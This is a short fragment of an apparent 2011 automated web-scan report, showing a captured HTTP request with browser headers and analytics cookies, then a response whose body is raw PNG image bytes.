Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=FC101987E2340D1CA7E9F5BBE7019BA1.w1; lc=en; CAMPAIGNE.REFERER_COOKIE=http%3A%2F%2Fkroogy.com%2Fpub%2Fbanner_728_90_random.php; CAMPAIGNE.ENTRY_DATE_COOKIE=1303648014948; CAMPAIGNE.ENTRY_URI_COOKIE=%2F; __utmz=121015709.1303648022.1.1.utmcsr=kroogy.com|utmccn=(referral)|utmcmd=referral|utmcct=/pub/banner_728_90_random.php; __utma=121015709.328301938.1303648022.1303648022.1303648022.1; __utmc=121015709; __utmb=121015709.1.10.1303648022; __utmz=262432266.1303648022.1.1.utmcsr=kroogy.com|utmccn=(referral)|utmcmd=referral|utmcct=/pub/banner_728_90_random.php; __utma=262432266.188043035.1303648022.1303648022.1303648022.1; __utmc=262432266; __utmv=262432266.dating%2Fmillionaire%2Fl1%2Fblack-orange-gray%2Ft023; __utmb=262432266.2.10.1303648022

Response

HTTP/1.1 200 OK
Server: nginx
Date: Sun, 24 Apr 2011 12:41:22 GMT
Content-Type: text/plain; charset=UTF-8
Connection: keep-alive
Vary: Accept-Encoding
Last-Modified: Mon, 13 Jul 2009 16:24:11 GMT
ETag: "b466-46e98c08700c0"
Content-Length: 46182

..............(V..F......... .(V..nV........ .h...............h........PNG
.
...IHDR.............\r.f....sRGB.........gAMA......a.... cHRM..z&..............u0...`..:....p..Q<..U.IDATx^.}..$U...~...D
...[SNIP]...

Report generated by XSS.CX at Sun Apr 24 11:07:10 CDT 2011.